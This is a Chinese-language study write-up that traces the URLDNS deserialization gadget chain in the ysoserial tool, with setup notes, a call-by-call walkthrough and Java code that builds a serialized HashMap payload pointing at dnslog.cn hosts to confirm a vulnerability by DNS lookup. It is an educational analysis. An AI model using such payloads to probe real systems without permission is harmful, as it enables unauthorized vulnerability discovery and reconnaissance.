URLDNS反序列化

可以看一下这两篇分析java序列化和反序列化的执行流程。

https://www.cnpanda.net/sec/893.html

https://www.cnpanda.net/sec/928.html

搭建从新复习以前学过的java反序列化,尽量能够都跟一遍以前不够细致太过于浮躁,因此重新开启一个新的学习。

1.环境搭建

在进行反序列化调试时我们先ysoserial项目进行环境搭建,下面就搭建遇到的问题做一个记录。

首先直接下载压缩包然后将项目拖进idea,之后将pom.xm文件中的依赖jar全部下载。

第一个问题

就是依赖包有的加载不出来可能是因为我们配置的阿里云的镜像没有依赖的原因所以我们就手动将jar导入到本地maven仓库。这里参考https://blog.csdn.net/Ming_super/article/details/128728472进行导入

首先找到maven的官网然后找到自己所需要的依赖

将红箭头所指的jar包下载下来。然后打开windows cmd 将jar包导入到本地仓库。

输入以下命令例如:

1
2
3
4
5
6
mvn install:install-file
-Dfile=D:\mybatis-3.5.10.jar
-DgroupId=org.mybatis
-DartifactId=mybatis
-Dversion=3.5.10
-Dpackaging=jar

之后就可以在pom.xml文件中正常加载了。

第二个问题

就是我们在运行ysoserial主程序一直报错找不到java程序包,但是通过排查发现明明已经导入进来了。

这里解决办法:

打开idea项目中的Project Structure 将箭头所指的地方改成相对应的然后在setting中将本地的java环境与项目环境也设置城同样的

之后就可以运行程序了。

在运行程序输入参数可以直接在项目中进行编辑

这里以生成urldns链为例其它的可以自行百度。

java反序列化的过程

参考:https://chenlvtang.top/2022/09/18/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90%E5%8F%8AresolveClass/

调用图:

2.URLDNS链

URLDNS 就是ysoserial中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不

是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。

虽然这个“利⽤链”实际上是不能“利⽤”的,但因为其如下的优点,⾮常适合我们在检测反序列化漏洞时使⽤:

使⽤Java内置的类构造,对第三⽅库没有依赖

在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞

ysoserial如何生成urldns链的过程可以参考:

https://www.cnblogs.com/gk0d/p/16874157.html

调用过程:

首先判段是否传入了两个参数,如果不是则打印帮助信息;是的话会依次分别赋值给payloadType和command变量。

之后实例化了一个需要继承ObjectPayload类的类实例化对象,跟进一下getPayloadClass方法,在ysoserial.payloads.ObjectPayload.Utils下

在箭头所指的地方通过反射获取了 URLDNS的class对象,然后实例化获取URLDNS对象并调用 getobject方法

通过跟进getobject方法发现其返回了一个hashmap对象

然后序列化输出该对象

以上就是ysoserial生成urldns的过程,下面着重分析以下为什么反序列化可以触发一次dns请求。上文已经说到了最后序列化的是hashmap对象所以我们可以直接看hashmap的readobject方法

1
2
3
4
5
6
7
public class unserial {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream o = new ObjectInputStream(new FileInputStream("D:\\shentougongju\\ysoserial\\test.bin"));
Object o1 = o.readObject();
System.out.println(o1);
}
}

我们在hashmap的readobject中下一个断点进行调试

我们可以发现最终调用了一个putval方法,它里面对key进行了hash方法,而我们知道这个key是我们序列化进去的URL对象继续跟进去

发现对key做了一个判断,如果不为空的话就调用key对象的hashcode方法,而这里我们知道key是url对象,所以调用的是URL对象的hashcode方法继续跟进去

这里判断hashcode是否等于-1如果不等于-1就返回hashcode如果等于-1就继续调用handler的hashcode方法,这里通过上文的getobject方法可以知道传入的handler是URLStreamHandler对象继续跟进去:

可以看到第10行调用了getHostAddress方法跟进去看看:

继续跟进

发现调用getByname方法 这⾥ InetAddress.getByName(host) 的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次 DNS查询。

这里是ysoserial的payload总结一下调用链

  1. HashMap->readObject()
  2. PutVal->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

下面我们来看一下网上常见的payload与ysoserial的区别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://7gjq24.dnslog.cn");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true); // 绕过Java语言权限控制检查的权限
f.set(url,123); // 设置hashcode的值为-1的其他任何数字
System.out.println(url.hashCode());
map.put(url,123); // 调用HashMap对象中的put方法,此时因为hashcode不为-1,不再触发dns查询
f.set(url,-1); // 将hashcode重新设置为-1,确保在反序列化成功触发

try {
FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);

outputStream.writeObject(map);
outputStream.close();
fileOutputStream.close();

FileInputStream fileInputStream = new FileInputStream("./urldns.ser");
ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
inputStream.readObject();
inputStream.close();
fileInputStream.close();
}
catch (Exception e){
e.printStackTrace();
}

}

我们可以发现在进行put之前URL对象之前我们反射修改了其hashcode的值,这是为什么呢,是因为在序列化的时候writeobject 会写入key

1
2
3
4
5
6
7
8
9
10
private void writeObject(java.io.ObjectOutputStream s)
throws IOException {
int buckets = capacity();
// Write out the threshold, loadfactor, and any hidden stuff
s.defaultWriteObject();
s.writeInt(buckets);
s.writeInt(size);
internalWriteEntries(s);
}

1
2
3
4
5
6
7
8
9
10
11
12
void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {
Node<K,V>[] tab;
if (size > 0 && (tab = table) != null) {
for (int i = 0; i < tab.length; ++i) {
for (Node<K,V> e = tab[i]; e != null; e = e.next) {
s.writeObject(e.key);
s.writeObject(e.value);
}
}
}
}

可以发现这里的key以及value是从tab中取的,而tab的值即HashMap中table的值。此时我们如果想要修改table的值,就需要调用HashMap#put方法,而HashMap#put方法中也会对key调用一次hash方法,所以在这里就会产生第一次dns查询

1
2
3
4
5
6
7
8
9
10
11
12
import java.util.HashMap;
import java.net.URL;

public class URLDNStest {

public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://razgbd.dnslog.cn");
map.put(url,123); //此时会产生dns查询
}

}

所以要想不在put的时候发起dns请求需要反射修改其hashcode的值让其不为-1即可因为不为-1会直接返回hashcode的值不会进行后续的调用

那ysoserial在put时是怎么不触发dns请求的呢调试一下:

在调用到箭头所指向的方法时其返回一个null值,从而不触发dns请求

那为什么反序列化时又能够发起请求了呢是因为URL类中handler被设置为 transient(当一个字段被声明为 transient 时,表示该字段不会参与对象的序列化过程,即在将对象转换为字节流以便进行存储或传输时,这些字段的值不会被包含在序列化的结果中。)

所以反序列化可以触发dns请求

参考:Java安全漫谈 - 09.反序列化篇(3).pdf